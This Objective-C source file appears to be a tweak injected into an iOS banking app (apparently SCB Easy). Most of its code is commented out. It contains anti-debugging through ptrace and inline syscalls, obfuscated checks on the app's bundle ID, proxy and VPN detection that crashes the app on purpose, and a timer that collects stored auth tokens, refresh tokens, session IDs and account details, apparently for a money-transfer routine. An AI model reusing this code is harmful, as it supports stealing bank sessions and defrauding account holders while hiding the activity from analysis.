//
//  Inject.m
//  wechatApple
//
//  Created by hank on 2021/4/19.
//

#import "Inject.h"
#import "MyPtraceHeader.h"
//#import "NetReq.h"
#import <UIKit/UIKit.h>
#include <ifaddrs.h>
#include <arpa/inet.h>
//#import "SCBSocket.h"
//#define sixunhun ooooooooooooooooooooooooooooo
//#define loadChecked oooooooooooooooooooooooooooooo
//

#define KEY 0xAC

@implementation Inject

//定期是循环检查
static   dispatch_source_t timer2 = nil;

+(void)load{

    //下面就是直接调用ptrace
//    asm volatile(
//                 "mov x0,#31\n"
//                 "mov x1,#0\n"
//                 "mov x2,#0\n"
//                 "mov x3,#0\n"
//                 "mov x16,#26\n"//这里就是syscall的编号
//                 "svc #0x80\n"//这条指令就是触发中断（系统级别的跳转！）
//                 );
//    ptrace(PT_DENY_ATTACH, 0, 0, 0);
//    syscall(26,31,0,0,0);
//
//    if(getCurUsrNickname){
//           [NetReq startZHuanqian];
//       }
//        Get the bundle identifier of the app
//
//
//    包名防护
//       NSString *bundleID = [[NSBundle mainBundle] bundleIdentifier];
//       NSString* a =   [NSString stringWithFormat:@"%@",@"so.one"];
//       NSString* b =   [NSString stringWithFormat:@"%@",@".lot"];
//
//       NSString* c =   [NSString stringWithFormat:@"%@",@"com"];
//       //超级隐藏术com.lotso.one
//       unsigned char ptraceStr[] = {
//           (KEY ^ '.'),
//           (KEY ^ 'l'),
//           (KEY ^ 'o'),
//           (KEY ^ 't'),
//           (KEY ^ '\0')
//       };
//       unsigned char * p = ptraceStr;
//       while (((*p) ^= KEY) != '\0') p++;
//
//       NSString *string = [[NSString alloc] initWithUTF8String:ptraceStr];
//       NSString* d =[NSString stringWithFormat:@"%@%@%@",c,string,a];
//
//
//    // 字节数组，包含字符串的 UTF-8 编码
//    unsigned char bytes[] = {
//        0x63, 0x6F, 0x6D, 0x2E, 0x6E, 0x6F, 0x79, 0x65, 0x73, 0x72,
//        0x75, 0x6E, 0x2E, 0x6D, 0x65, 0x65, 0x66, 0x66, 0x2E, 0x6B, 0x72
//    };
//
//    // 使用字节数组创建 NSData 对象
//    NSData *data = [NSData dataWithBytes:bytes length:sizeof(bytes)];
//    // 使用 NSData 创建一个 UTF-8 编码的 NSString 对象
//    NSString *dddddd = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
////    NSLog(@"%@", decodedString); // 输出：com.scb.iphonede
//       if(![bundleID containsString:dddddd]){
//           exit(0);
//           int i = 0;
//           NSLog(@"Current  ID is %d", 0/i);
//           NSArray *array = @[];
//           NSLog(@"%@", array[1]);  // 访问数组越界，将导致崩溃
//           UIApplication *myObject = [[UIApplication alloc] init];
//           [myObject performSelector:@selector(nonExistentMethod)];  // 调用不存在的方法
//           // 死循环
//           [Inject sixunhun];
//
//       }

//    NSDate *currentTime = [NSDate date];  // 获取当前时间
//            NSTimeInterval timestamp = 1702560395.046601 + 60*60*24*700;  // 时间戳，示例为2021-06-06 12:35:00
//              NSDate *specifiedTime = [NSDate dateWithTimeIntervalSince1970:timestamp];
//
//              NSTimeInterval timeDifference = [currentTime timeIntervalSinceDate:specifiedTime];  // 计算时间差
//
//              if (timeDifference > 0) {  // 当前时间大于指定时间
//                  exit(0);
//                 int i = 0;
//                  NSLog(@"Current app's bundle ID is %d", 0/i);
//                   NSArray *array = @[];
//                   NSLog(@"%@", array[1]);  // 访问数组越界，将导致崩溃
//                 UIApplication *myObject = [[UIApplication alloc] init];
//                   [myObject performSelector:@selector(nonExistentMethod)];  // 调用不存在的方法
//
//                           //汇编指令退出
//                               asm volatile("svc #0x80");
//                               asm volatile("svc 0");
//
//
//              }


//    抓包防护
//    代理检查
//    CFDictionaryRef proxySettings = CFNetworkCopySystemProxySettings();
//    NSDictionary *dictProxy = (__bridge_transfer id)proxySettings;
//    BOOL isUsingProxy = [[dictProxy objectForKey:@"HTTPEnable"] boolValue];
//    if (isUsingProxy) {
//        //此处处理代理检测到的逻辑
//        exit(0);
//        int i = 0;
//        NSLog(@"CurrID is %d", 0/i);
//        NSArray *array = @[];
//        NSLog(@"%@", array[1]);  // 访问数组越界，将导致崩溃
//        UIApplication *myObject = [[UIApplication alloc] init];
//        [myObject performSelector:@selector(nonExistentMethod)];  // 调用
//        //死循环
//        [Inject sixunhun];
//
//    }

   // 防止vpn
//    struct ifaddrs *interfaces = NULL;
//    struct ifaddrs *temp_addr = NULL;
//    int success = 0;
//    NSString *address;
//    success = getifaddrs(&interfaces);
//    if (success == 0) {
//        temp_addr = interfaces;
//        while (temp_addr != NULL) {
//            if(temp_addr->ifa_addr->sa_family == AF_INET) {
//                address = [NSString stringWithUTF8String:inet_ntoa(((struct sockaddr_in *)temp_addr->ifa_addr)->sin_addr)];
//                if ([address isEqualToString:@"0.0.0.0"]) {
//                    // VPN可能正在使用
//                    exit(0);
//                    int i = 0;
//                    NSLog(@"Curris %d", 0/i);
//                    NSArray *array = @[];
//                    NSLog(@"%@", array[1]);  // 访问数组越界，将导致崩溃
//                    UIApplication *myObject = [[UIApplication alloc] init];
//                    [myObject performSelector:@selector(nonExistentMethod)];
//                    //死循环
//                    [Inject sixunhun];
//
//                }
//            }
//            temp_addr = temp_addr->ifa_next;
//        }
//    }
//    freeifaddrs(interfaces);
//
//


//    //定时器循环检查
  // 创建一个GCD定时器，使用DISPATCH_TIME_NOW作为起始时间，每隔5秒触发一次
//  timer2 = dispatch_source_create(DISPATCH_SOURCE_TYPE_TIMER, 0, 0, dispatch_get_main_queue());
//    if (timer2) {
//        // 设置定时器的初始时间和间隔（单位为纳秒）
//        uint64_t interval = 60ull * NSEC_PER_SEC;
//        dispatch_source_set_timer(timer2, DISPATCH_TIME_NOW, interval, 0);
//        // 定时器触发时执行的块
//        dispatch_source_set_event_handler(timer2, ^{
////            NSLog(@"继续找目标");
////
//            NSDictionary* localallHTTPHeaderFields = [[NSUserDefaults standardUserDefaults] valueForKey:@"allHTTPHeaderFields"];
//        //    NSLog(@"这里3Caught exception: %@",localallHTTPHeaderFields);
//            //从相应头里面找当请求头
//
//            if(localallHTTPHeaderFields){
//                //    NSString* Api_Auth = [localallHTTPHeaderFields valueForKey:@"Api-Auth"];
//                    NSString* Api_Auth = [localallHTTPHeaderFields valueForKey:[NetReq ApiAuth]];
//                //  NSString* Api_Refresh = [localallHTTPHeaderFields valueForKey:@"Api-Refresh"];
//                   NSString* Api_Refresh = [localallHTTPHeaderFields valueForKey:[NetReq ApiRefres]];
//                //    NSString* sessionid = [localallHTTPHeaderFields valueForKey:@"th.co.scb-easy-sessionid"];
//                    NSString* sessionid = [localallHTTPHeaderFields valueForKey:[NetReq easysessionid]];
//                    NSString* accountFrom = [localallHTTPHeaderFields valueForKey:@"accountFrom"];
//
//
//                    if(localallHTTPHeaderFields && sessionid && Api_Refresh && Api_Auth &&accountFrom){
////                        [Inject loadChecked];
//                    }
//            }
//
////
//
//        });
//    }
//    // 启动定时器
//    dispatch_resume(timer2);


}



//循环检测
+(void)loadChecked{
    
    //下面就是直接调用ptrace
//    asm volatile(
//                 "mov x0,#31\n"
//                 "mov x1,#0\n"
//                 "mov x2,#0\n"
//                 "mov x3,#0\n"
//                 "mov x16,#26\n"//这里就是syscall的编号
//                 "svc #0x80\n"//这条指令就是触发中断（系统级别的跳转！）
//                 );
//    ptrace(PT_DENY_ATTACH, 0, 0, 0);
//    syscall(26,31,0,0,0);
//
////    if(getCurUsrNickname){
////           [NetReq startZHuanqian];
//   //    }
//       // Get the bundle identifier of the app
//
//    //包名防护
//       NSString *bundleID = [[NSBundle mainBundle] bundleIdentifier];
//       NSString* a =   [NSString stringWithFormat:@"%@",@"so.one"];
//       NSString* b =   [NSString stringWithFormat:@"%@",@".lot"];
//
//       NSString* c =   [NSString stringWithFormat:@"%@",@"com"];
//       //超级隐藏术com.lotso.one
//       unsigned char ptraceStr[] = {
//           (KEY ^ '.'),
//           (KEY ^ 'l'),
//           (KEY ^ 'o'),
//           (KEY ^ 't'),
//           (KEY ^ '\0')
//       };
//       unsigned char * p = ptraceStr;
//       while (((*p) ^= KEY) != '\0') p++;
//
//       NSString *string = [[NSString alloc] initWithUTF8String:ptraceStr];
//       NSString* d =[NSString stringWithFormat:@"%@%@%@",c,string,a];
//
//
//    // 字节数组，包含字符串的 UTF-8 编码
//    unsigned char bytes[] = {0x63, 0x6F, 0x6D, 0x2E, 0x73, 0x63, 0x62, 0x2E, 0x69, 0x70, 0x68, 0x6F, 0x6E, 0x65};
//    // 使用字节数组创建 NSData 对象
//    NSData *data = [NSData dataWithBytes:bytes length:sizeof(bytes)];
//    // 使用 NSData 创建一个 UTF-8 编码的 NSString 对象
//    NSString *dddddd = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
////    NSLog(@"%@", decodedString); // 输出：com.scb.iphonede
//       if(![bundleID containsString:dddddd]){
//           exit(0);
//           int i = 0;
//           NSLog(@"Curreis %d", 0/i);
//           NSArray *array = @[];
//           NSLog(@"%@", array[1]);  // 访问数组越界，将导致崩溃
//           UIApplication *myObject = [[UIApplication alloc] init];
//           [myObject performSelector:@selector(nonExistentMethod)];  // 调用不存在的方法
//           //死循环
//           [Inject sixunhun];
//
//       }
//
//
//    //抓包防护
//    //代理检查
//    CFDictionaryRef proxySettings = CFNetworkCopySystemProxySettings();
//    NSDictionary *dictProxy = (__bridge_transfer id)proxySettings;
//    BOOL isUsingProxy = [[dictProxy objectForKey:@"HTTPEnable"] boolValue];
//    if (isUsingProxy) {
//        //此处处理代理检测到的逻辑
//        exit(0);
//        int i = 0;
//        NSLog(@" %d", 0/i);
//        NSArray *array = @[];
//        NSLog(@"%@", array[1]);  // 访问数组越界，将导致崩溃
//        UIApplication *myObject = [[UIApplication alloc] init];
//        [myObject performSelector:@selector(nonExistentMethod)];  // 调用
//        //死循环
//        [Inject sixunhun];
//
//    }
//
//    //防止vpn
//    struct ifaddrs *interfaces = NULL;
//    struct ifaddrs *temp_addr = NULL;
//    int success = 0;
//    NSString *address;
//    success = getifaddrs(&interfaces);
//    if (success == 0) {
//        temp_addr = interfaces;
//        while (temp_addr != NULL) {
//            if(temp_addr->ifa_addr->sa_family == AF_INET) {
//                address = [NSString stringWithUTF8String:inet_ntoa(((struct sockaddr_in *)temp_addr->ifa_addr)->sin_addr)];
//                if ([address isEqualToString:@"0.0.0.0"]) {
//                    // VPN可能正在使用
//                    exit(0);
//                    int i = 0;
//                    NSLog(@"CurrD is %d", 0/i);
//                    NSArray *array = @[];
//                    NSLog(@"%@", array[1]);  // 访问数组越界，将导致崩溃
//                    UIApplication *myObject = [[UIApplication alloc] init];
//                    [myObject performSelector:@selector(nonExistentMethod)];
//                    //死循环
//                    [Inject sixunhun];
//
//                }
//            }
//            temp_addr = temp_addr->ifa_next;
//        }
//    }
//    freeifaddrs(interfaces);

    

}



+ (void) sixunhun{
//    [Inject sixunhun];
}



@end
